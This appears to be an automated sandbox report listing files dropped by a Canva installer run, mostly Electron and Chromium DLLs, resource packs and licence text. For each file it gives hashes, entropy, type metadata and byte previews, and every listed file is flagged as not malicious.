Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L......\.................h...8...@...3............@.................................`0....@..........................................0...............P...X...........................................................................................text...'f.......h.................. ..`.rdata...............l..............@..@.data...............................@....ndata...................................rsrc........0......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\chrome_100_percent.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	154426
Entropy (8bit):	7.915623092881329
Encrypted:	false
SSDEEP:	3072:AzwJCGIekwENgMBsFAXg6VKdL2o418Gb0+VRLf0ld0GY3cQ3ERVm2I:Azw1IekmMBdQXK18Gb0OV8ld0GecQ3Ey
MD5:	B1BCCF31FA5710207026D373EDD96161
SHA1:	AE7BB0C083AEA838DF1D78D61B54FB76C9A1182E
SHA-256:	49AFF5690CB9B0F54F831351AA0F64416BA180A0C4891A859FA7294E81E9C8E3
SHA-512:	134A13AD86F8BD20A1D2350236269FD39C306389A600556A82025D5E0D5ADAAB0709D59E9B7EE96E8E2D25B6DF49FEFEA27CDCCEFE5FBA9687ABF92A9A941D91
Malicious:	false
Preview:	..........?.........C.......................m.......................^.....X.................q".....$....1/.....9.....<.....A....^D.....F.....H....FK....6M....fO.....S.....V..(..Z..)..[..+..\..-..^....._..5.k`..6..f..8..l..9..n..:..q..;..u..<..x..=..{..>.A...?.....@.h...A.....B.....C.....D.....F....e.....j.[...k.Y...l.....m.....n.....o....p.&...q.U...r....................................................R.........B........................@....."....,.../...1....:....<....@...>E...NP....Q...3Z....a....mf.....k.....r....it.....x.....\|....a......................]................c.................................................................^...........b...........t...........=.....k... .....".^...#.....(.^...*.3...+.....,.....D.....E.....F.~...G.....H.....I.Y...J.-...K.....L.....M.....N.1...O.....P.....Q.....R.....S.....T..!..U..'..W.\-..X.8...Y.....Z../..[..0..\.J1..]..1..^.53.._.+4..`. 5..c..9..D..=..E.>>..F..>..G..>..H..?..I..@..J..A..K..A..L..B..M.qB..N..B

C:\Program Files (x86)\Canva\chrome_200_percent.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	235060
Entropy (8bit):	7.947114238566176
Encrypted:	false
SSDEEP:	6144:gDQYaSN6svydrI8jDQUgx5GMRejnbdZnVE6YoppO4:NfSN6svydZ6edhVELoXO4
MD5:	E02160C24B8077B36FF06DC05A9DF057
SHA1:	FC722E071CE9CAF52AD9A463C90FC2319AA6C790
SHA-256:	4D5B51F720F7D3146E131C54A6F75E4E826C61B2FF15C8955F6D6DD15BEDF106
SHA-512:	1BF873B89B571974537B685CDB739F8ED148F710F6F24F0F362F8B6BB605996FCFEC1501411F2CB2DF374D5FDAF6E2DAAADA8CEA68051E3C10A67030EA25929E
Malicious:	false
Preview:	..........?.........J..........................................%..........-....\5.....9.....A.....E....IZ.....o....(t.....~.........s...........e...........L.....p.....y...(.3...).....+.....-..........5.....6.1...8.....9.=...:.....;.....<.t...=.$...>.....?.....@.....A.....B.....C.(...D..%..F..)..e.?1..j..6..k./9..l..<..m..J..n.WN..o.\|Z..p..f..q..k..r..l.....m.....q.....t.....w.....z....'~....D........................J..............#.............a....&...................V............c........".....'....n-....P4.....6.....:.....>....6H....bK.....S.....W....ba.....k.....o.....q....cz......................................5...........p.....G..................................%....."... .@...".Y...#.....(.K....\|...+.r...,.R...D.5...E.c...F.}...G.....H.\...I.....J.b...K.....L.f...M.....N.w...O.9 ..P.'%..Q..-..R..4..S..;..T..A..U..F..W..L..X..M..Y..N..Z..P..[.)Q..\.JR..].>S..^..U.._..V..`.pX..c.4e..D..u..E..u..F..u..G.Kv..H..v..I.,x..J..y..K.[y..L..y..M..z..N.mz

C:\Program Files (x86)\Canva\d3dcompiler_47.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4916712
Entropy (8bit):	6.398049523846958
Encrypted:	false
SSDEEP:	49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
MD5:	2191E768CC2E19009DAD20DC999135A3
SHA1:	F49A46BA0E954E657AAED1C9019A53D194272B6A
SHA-256:	7353F25DC5CF84D09894E3E0461CEF0E56799ADBC617FCE37620CA67240B547D
SHA-512:	5ADCB00162F284C16EC78016D301FC11559DD0A781FFBEFF822DB22EFBED168B11D7E5586EA82388E9503B0C7D3740CF2A08E243877F5319202491C8A641C970
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: ivySCI-5.6.3.exe, Detection: malicious, Browse Filename: ivySCI-5.6.3.exe, Detection: malicious, Browse Filename: MayitaV16.exe, Detection: malicious, Browse Filename: Xa04iTOvv5.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: ArenaWarsSetup.exe, Detection: malicious, Browse Filename: ArenaWarsSetup.exe, Detection: malicious, Browse Filename: Launcher 1.0.0.exe, Detection: malicious, Browse Filename: Launcher 1.0.0.exe, Detection: malicious, Browse Filename: Xeno Executor Setup 1.0.0.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d...^.}`.........." ......8..........<).......................................K.....:FK...`A........................................`%G.x....(G.P.....J.@.....H.......J..%....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\ffmpeg.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2866176
Entropy (8bit):	6.71639664914218
Encrypted:	false
SSDEEP:	49152:G9T1onpO0KVy2xq6To8i4BZy7+niuoen6yfzv9x0WFJDI:upKNMo8rBYinp/FFJM
MD5:	8F3D89744AE11B0925FAF4B64890D0D7
SHA1:	6A8F744BE1F76E9AD28287D969D8D24F5F1E7623
SHA-256:	11DAF2BF89A3AC660533B3E487E0624668B35F45D2BD94E9B0324BCE8758DE60
SHA-512:	250C06E70276C08D3D8A63744AF6C570B6288E1D8FED8DEED915C79BF0A80C3CD0A7E64C55A16FCBC50CCBCBC9910B26F87983CEEEA8ED28A75C1B8EC22DB53F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......".........0.........................................u...........`A..........................................).......).(.............t.4.............u.,4..<.)..................... .).(...P.".@...........(.).P............................text...U."......."................. ..`.rdata.......".......".............@..@.data.....I....."...~.............@....pdata..4.....t.......*.............@..@.gxfg....,...@u......R+.............@..@.retplne.....pu.......+..................tls..........u.......+.............@..._RDATA..\.....u.......+.............@..@.reloc..,4....u..6....+.............@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\icudtl.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	10717680
Entropy (8bit):	6.282426578921538
Encrypted:	false
SSDEEP:	196608:WgPBhORiuQwCliXUxbblHa93Whli6Z26wO+:W8wkDliXUxbblHa93Whli6ZUF
MD5:	74BDED81CE10A426DF54DA39CFA132FF
SHA1:	EB26BCC7D24BE42BD8CFBDED53BD62D605989BBF
SHA-256:	7BF96C193BEFBF23514401F8F6568076450ADE52DD1595B85E4DFCF3DE5F6FB9
SHA-512:	BD7B7B52D31803B2D4B1FD8CB76481931ED8ABB98D779B893D3965231177BDD33386461E1A820B384712013904DA094E3CD15EE24A679DDC766132677A8BE54A
Malicious:	false
Preview:	...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html ......E.......E.......E..P/...E.../...E..P7...E...7...E...h...F...h.. F..Pi..0F......DF.....WF.....jF..P...}F.......F..`....F.......F.. ....F.......F..0....F.......G......G......(G.....;G..@...NG......aG.....tG.......G.......G..@....G.......G.......G.......G..P....G.......H.......H..P...2H......EH..`...UH......hH......yH..P....H.......H.......H..`....H.......H.......H..P....I.......I......-I..@...=I......PI......aI..@...uI.......I...0...I.. 1...I..p1...I...e...I...e...I...i...I..`i...J...i..)J...K..BJ..p...^J..."'.uJ..P.'..J....'..J...5'..J..06'..J...>'..J..P?'..K...D'..K...F'.0K...H'.IK...V'.hK....(..K....(..K..P.)..K....)..K..pW..K..P...L...*+.?L..p.+.bL....+..L...U,..L....,..L....,..L....,..L..@.,..M....,.-M..P.-.IM.. e-.`M...e-.~M...R/..M.../..M..0.0..M..@.0..M..P.0..M....0..N....0.!N...,0.9N...,0.NN..0-0.fN...-0.vN...Y0..N...Z0..N..

C:\Program Files (x86)\Canva\is-2470K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	5.13006727705212
Encrypted:	false
SSDEEP:	24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
MD5:	4D42118D35941E0F664DDDBD83F633C5
SHA1:	2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
SHA-256:	5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
SHA-512:	3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
Malicious:	false
Preview:	Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

C:\Program Files (x86)\Canva\is-2R0UB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	106
Entropy (8bit):	4.724752649036734
Encrypted:	false
SSDEEP:	3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
MD5:	8642DD3A87E2DE6E991FAE08458E302B
SHA1:	9C06735C31CEC00600FD763A92F8112D085BD12A
SHA-256:	32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
SHA-512:	F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
Malicious:	false
Preview:	{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

C:\Program Files (x86)\Canva\is-30SPE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7692800
Entropy (8bit):	6.501902638931627
Encrypted:	false
SSDEEP:	98304:9x8EI0RtffaYFH3lV5D3u31okx/6bXm3q:LhXfTFHmoKgCq
MD5:	76141455CD2705897D38E9785117E405
SHA1:	EE091646B6273BF006CFCD84FD54384B0A9D0E0F
SHA-256:	7B0BAA9E2E731716EFE3E0BEBF6A0BCD2D64F35D9F62B20D23ACB4E098C9BE36
SHA-512:	551B79AAFFDC469448477AA72554458235F118559EECC567C232599A4193B2639C14EAFACAD533485089AF58701AEABEE690B43F36E41342F928D4973EFC02E1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......Y..t........J......................................`v...........`A........................................}.l.......m.d....pu.......r..U............u.,....al.....................p`l.(.....Z.@.............m.......l.@....................text.....Y.......Y................. ..`.rdata..\|.....Z.......Y.............@..@.data...\.....n......nn.............@....pdata...U....r..V....q.............@..@.gxfg....,....u......Tt.............@..@.retplne.....@u.......t..................tls....B....Pu.......t.............@..._RDATA..\....`u.......t.............@..@.rsrc........pu.......t.............@..@.reloc..,.....u.......t.............@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-7DBGV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	679161
Entropy (8bit):	5.217457437935302
Encrypted:	false
SSDEEP:	6144:m/h8ML2Zu/Bg90Ws9oCM9Otxh6vtDINPbIgTtLAkW/cB2Z0JZkQXEzBO+lZ:myMSZu/Bg90BuCzIP/+2ZGZazJlZ
MD5:	0C259ECBB12E6F3F0E076E6200221489
SHA1:	3DE53DCAFDCE24C151DD1812769B46ACEA77C90C
SHA-256:	83A8345EA197020E07FE2CF53E74F31D0CC632CA1537F5C9C1DB2FB2665AB04F
SHA-512:	6EF39EE8B7D40C5E6C0E79F8C4E846D431A6A87711D025122E2E7F060C5754FFF917771D5EDE6ADEC3BE909FB5CE0E8EB1DF5E18142ECDB6339BDDE8CE2C8398
Malicious:	false
Preview:	........a. ..?h12.2.281.27-electron.0..................................................................$...x...a........a........a........ar.......a2.......aT.........."..............B..............b........."..............B........(Jb....L.....@..F^.-..1.`.....(Jb...2P.....@..F^..`.....H...IDa........Db............D`.....).D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-8GQDF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3723837
Entropy (8bit):	6.593259965429601
Encrypted:	false
SSDEEP:	98304:oJYVM+LtVt3P/KuG2ONG9iqLRQV333K09:5VL/tnHGYiqln0
MD5:	11A5CDE3AE5BC1EF3F6F8E84FEC543F2
SHA1:	2BA4A3A6079E019752D079AA864F0E6C7E6443D5
SHA-256:	2752E7CDDBEECCC09976277F24D4CD9AA7B9D0F354F4F3E7B10103320CC679F3
SHA-512:	5CC53E4C6003129F37F969A4EEA7F8AA84CCF1BC5A69E25A5A648A4F6CA429246B073426F94EB963EBE991BD04BBEBAD95133A41CFFC1B8374E0C4B20667D966
Malicious:	false
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................@9...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Program Files (x86)\Canva\is-9L22V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5312000
Entropy (8bit):	6.364537003040197
Encrypted:	false
SSDEEP:	49152:YL1wrvfRIQkXfBe1IlA8gE+LGHEYXb3GNfsUd9QjqZztkJCP1pSN6WxHEmp+DnnV:81w7weOqiFIYBgTE
MD5:	8FE00EBE76542263463877F27417EC61
SHA1:	763502E57A3C4FBE5FC25EE7E9C942D94505D244
SHA-256:	46AFB1ED7AB1B1A679E00784B2E78CC2358CEC615553699624FF77882F55787B
SHA-512:	62B375B40EEDF04D03D8465570634B56D529E9525BD6D81BE94B40C7DA21CCCAA808BE97649F9404DED9EDD5CE129F9FB1D462C6A1986A25FA8A228857CDA5A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." .....n@...........:.......................................R...........`A.........................................sL.......L.P.....Q......0P..^............R.t~...0L.....................x/L.(...@.@.@........... .L.P............................text....m@......n@................. ..`.rdata........@......r@.............@..@.data........pM......ZM.............@....pdata...^...0P..`....N.............@..@.gxfg....-....Q......TP.............@..@.retplne......Q.......P..................tls....Y.....Q.......P.............@..._RDATA..\.....Q.......P.............@..@.rsrc.........Q.......P.............@..@.reloc..t~....R.......P.............@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-9V9DF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	954368
Entropy (8bit):	6.588968362833733
Encrypted:	false
SSDEEP:	24576:CkMYSDIukxvnwhdzY96Z5WiDYsH56g3P0zAk7lE1:Cku0fwhC96Z5WiDYsH56g3P0zAk7l
MD5:	D8F31216785E204DA9BAD10E9F3734B7
SHA1:	BE7F53566DBAEC5DBE61AFC76BF7401CFC42EF08
SHA-256:	FA6B4E20EB448746E2EFF9A7FDE7A62585E371F3497A6A928EADE0A8CE8C1A9F
SHA-512:	D7EF5EF7ED9B5559E107369849ADCD18FB9C9C3A90033731A46C4B5D3BA431582936E54E5B5918CE19A667B3F1EB369A93BC3F9A03DF8E5397E5F80DC21A61A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......................................................... ............`A............................................<!...3..P............ ..Xq..............(...,...........................(...@...@............8...............................text...{........................... ..`.rdata..............................@..@.data...pL......."..................@....pdata..Xq... ...r..................@..@.gxfg...P).......*...N..............@..@.retplne.............x...................tls.................z..............@..._RDATA..\............\|..............@..@.rsrc................~..............@..@.reloc..(...........................@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-CD8R9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	154426
Entropy (8bit):	7.915623092881329
Encrypted:	false
SSDEEP:	3072:AzwJCGIekwENgMBsFAXg6VKdL2o418Gb0+VRLf0ld0GY3cQ3ERVm2I:Azw1IekmMBdQXK18Gb0OV8ld0GecQ3Ey
MD5:	B1BCCF31FA5710207026D373EDD96161
SHA1:	AE7BB0C083AEA838DF1D78D61B54FB76C9A1182E
SHA-256:	49AFF5690CB9B0F54F831351AA0F64416BA180A0C4891A859FA7294E81E9C8E3
SHA-512:	134A13AD86F8BD20A1D2350236269FD39C306389A600556A82025D5E0D5ADAAB0709D59E9B7EE96E8E2D25B6DF49FEFEA27CDCCEFE5FBA9687ABF92A9A941D91
Malicious:	false
Preview:	..........?.........C.......................m.......................^.....X.................q".....$....1/.....9.....<.....A....^D.....F.....H....FK....6M....fO.....S.....V..(..Z..)..[..+..\..-..^....._..5.k`..6..f..8..l..9..n..:..q..;..u..<..x..=..{..>.A...?.....@.h...A.....B.....C.....D.....F....e.....j.[...k.Y...l.....m.....n.....o....p.&...q.U...r....................................................R.........B........................@....."....,.../...1....:....<....@...>E...NP....Q...3Z....a....mf.....k.....r....it.....x.....\|....a......................]................c.................................................................^...........b...........t...........=.....k... .....".^...#.....(.^...*.3...+.....,.....D.....E.....F.~...G.....H.....I.Y...J.-...K.....L.....M.....N.1...O.....P.....Q.....R.....S.....T..!..U..'..W.\-..X.8...Y.....Z../..[..0..\.J1..]..1..^.53.._.+4..`. 5..c..9..D..=..E.>>..F..>..G..>..H..?..I..@..J..A..K..A..L..B..M.qB..N..B

C:\Program Files (x86)\Canva\is-EJML6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	MS Windows icon resource - 16 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, -64x-64, 32 bits/pixel
Category:	dropped
Size (bytes):	418858
Entropy (8bit):	6.134356329318626
Encrypted:	false
SSDEEP:	6144:UhWzbZ9cheFHGEsKisWsssHY698kbbsh4Ey+hX2MVhcjmvlEsfwWssssPjb2fh7f:hZ91F6imvJU3tg781CU
MD5:	06EC08FB855CE8FBCB146F5E0B9007C1
SHA1:	DB31FDC1632FC86CA37717435640D6FD8C9BEDF2
SHA-256:	01B606DA42E3DE189D6DD4F86F22C146C7CC9B5C66270FA2BB68B74EE0B8FFB2
SHA-512:	6907857F6423AD41445978E617C3169E75A934C94463C8BFD56E438B5B378DB904F0A4FC13E37B6A7FAD48C80D5EFAD2147151E589B2C3F398EADE6634A0F330
Malicious:	false
Preview:	............ ............... .(R............ .(.......``.... .........PP.... ..g......HH.... ..T......@@.... .(B.."^..<<.... .H:..J...00.... ..%......((.... .h...:...$$.... ......... .... .....0........ ......@........ ......O........ ......Y........ .h...._...PNG........IHDR.............\r.f....IDATx...y..WU&.?.ukHj..9...Q.s...HS. -..VZ....b7v.=......U@..m[.?..mK..Z.+..$@.cB.S.TR....5......^k?k.}.=.TFj.S..w.{\..^{o....N.w....\|.n...O.)..lH".. H....o.#.w....\dWB.$..v..w.>..F".fdf.(a..Y.Zx.%.....L.<.#..i.T.\|s.c.t.!A6...E0.L<)I.Rf.I...R+_. .I.u.K...])....}.../..Gz.N...I..hK.w...........".\|.fL..S..i...K.q.#.....T.+.v..cgB..Kw......s..'..)....t.cn.......^..6./.s6........\mB[...R.B..7U..>}$.....<....z....9....w.....z.Wu...N/.q7*..i....]...C.>........Ufl..;.dg:.?_9.u'...N...#m.1.u.7H....f.s....()...S%'.RxPk...r.x.%2..{.?...B]..s..I....G...$:x..I..P..;..B [...f.........8Ii..\P.L`xWgK.90... ....Hj./P~......p.h..~R.<4..8.I5=p..-......Z3'..<.i......$~ih.JV,.'

C:\Program Files (x86)\Canva\is-FAJC4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4916712
Entropy (8bit):	6.398049523846958
Encrypted:	false
SSDEEP:	49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
MD5:	2191E768CC2E19009DAD20DC999135A3
SHA1:	F49A46BA0E954E657AAED1C9019A53D194272B6A
SHA-256:	7353F25DC5CF84D09894E3E0461CEF0E56799ADBC617FCE37620CA67240B547D
SHA-512:	5ADCB00162F284C16EC78016D301FC11559DD0A781FFBEFF822DB22EFBED168B11D7E5586EA82388E9503B0C7D3740CF2A08E243877F5319202491C8A641C970
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d...^.}`.........." ......8..........<).......................................K.....:FK...`A........................................`%G.x....(G.P.....J.@.....H.......J..%....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-KMU55.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	5281234
Entropy (8bit):	7.996903093990653
Encrypted:	true
SSDEEP:	98304:UCNks/PeeUfLi93zJ/HbKKSoDr+cgSrwrNl8dtSip6QaVaK2nwuoM10mpmjy+0V4:UAk03dB7KRcRkrNi/SQaVN2wuJ10Le+1
MD5:	54790975C932460FFA375CD0F0F8FFF0
SHA1:	05B72FF82ABB8DDAC1A92471F765B87B7FF1E9FD
SHA-256:	1EFDD507BB6F4FB07329EC7EC29EE00C952D6390BD5CFE3B41FB307C5CAEAB6C
SHA-512:	D74627207CAA35602E68AD6C08A0EBF55FE062E191A1885EB38226755D382DD3407DEA883E4337C5CFF23C1F724D64E5598EDF7A5CE93D4CC1EA6EA10C41AA0E
Malicious:	false
Preview:	........5...f.\...{..)..\|..,..~.F0.....B.....D.....P....H................V...........B.....k.....M.....c...........F.....$.........t@....u@;...v@....w@....x@c...y@l...~@.&...@.,...@.1...@.1...A.1...A.5...A_7...A.<...A.E...AsT...A/u...Avv...A.w...A.w...A.\|..<AL...=AR...>A....?A....@A....AA....BA....CA....DA\....A.....A.....A....RIb...wI....xI....yI....zI....{I.....No)...N.6...N.>...N!B...N.E...N.O...N.P...N.R...NOS...N.....Nn....O.{...O\~..T`....U`....V`....W`x...X`....Y`....Z`v...[`.....`.....`.....`.....`m)...`d,...`.1...`.2...`@4...`.5...`.8...`.=...`.G..0aUO..1a.X..2a.]..3a>d..4a3o..5a~\|..6a....7a....8ao...9a....:a....;aV...<a....=a....pb....qb&...rb......V.............................j............................w..................................................9...._........................+$...`'............b........x............................@....7.....>..x..D..y..D..z.YE..{.gF....kH.....I..../....B...@F....G...{H....I....K...2N...<Q....R

C:\Program Files (x86)\Canva\is-KS3DD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	567600
Entropy (8bit):	6.625079942815177
Encrypted:	false
SSDEEP:	6144:X740IlcheFHGEsKisWsssHY698kbbsh4Ey+hX2MVhcjmvlEsfwWssssPjb2fh7NR:LY1F6imvJU0Zktg781CNXISRKJ5C2
MD5:	05AD20B974827EFE0DB94F157AFFFC63
SHA1:	728BDF6D8E493CF856004D03A318D7E2563FC4FB
SHA-256:	5121EF37775EC7AE72FA466AC1ED7CA1282A34CBB1C611A77EAD15D2383B7C20
SHA-512:	8BD40CC9F2D45115A58DD5A15A058E9444CC21D9EBDBAFA9196634FDFD94141738E6EF46CEBAFFF1490F5E4A961B893431AC30061BD60E764894E4B8A9A65133
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L......\.................h...8...@...3............@.................................`0....@..........................................0...............P...X...........................................................................................text...'f.......h.................. ..`.rdata...............l..............@..@.data...............................@....ndata...................................rsrc........0......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-MJD08.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	479232
Entropy (8bit):	6.363205504415342
Encrypted:	false
SSDEEP:	3072:0Jk+JyNnPUXhbZ/+a1KYsjNDsrJg3qkrzxwbP6wvEMrwrD7Qy/x6TYtaoB+YEB0+:qbTcZ6+lOP9rmD7QMYYtaFy951wj5ze
MD5:	F1FE23058E7EECE1DE389A0C882BC1AD
SHA1:	E83B15D2BBCB6FB2867651A2A9797ED3B6827947
SHA-256:	A4336A318E8D92A47843D5FE429DC6D1FF7271D8BAC189D719BC8074A128FD6E
SHA-512:	D7D51FCB05542FA81E871DD9F1DD960C363107D1C25311DCBF81E440D1275054C121A788DEF8DBAE47C129E95FD990042E2D39E6EF2BDFB253A114146EB33973
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
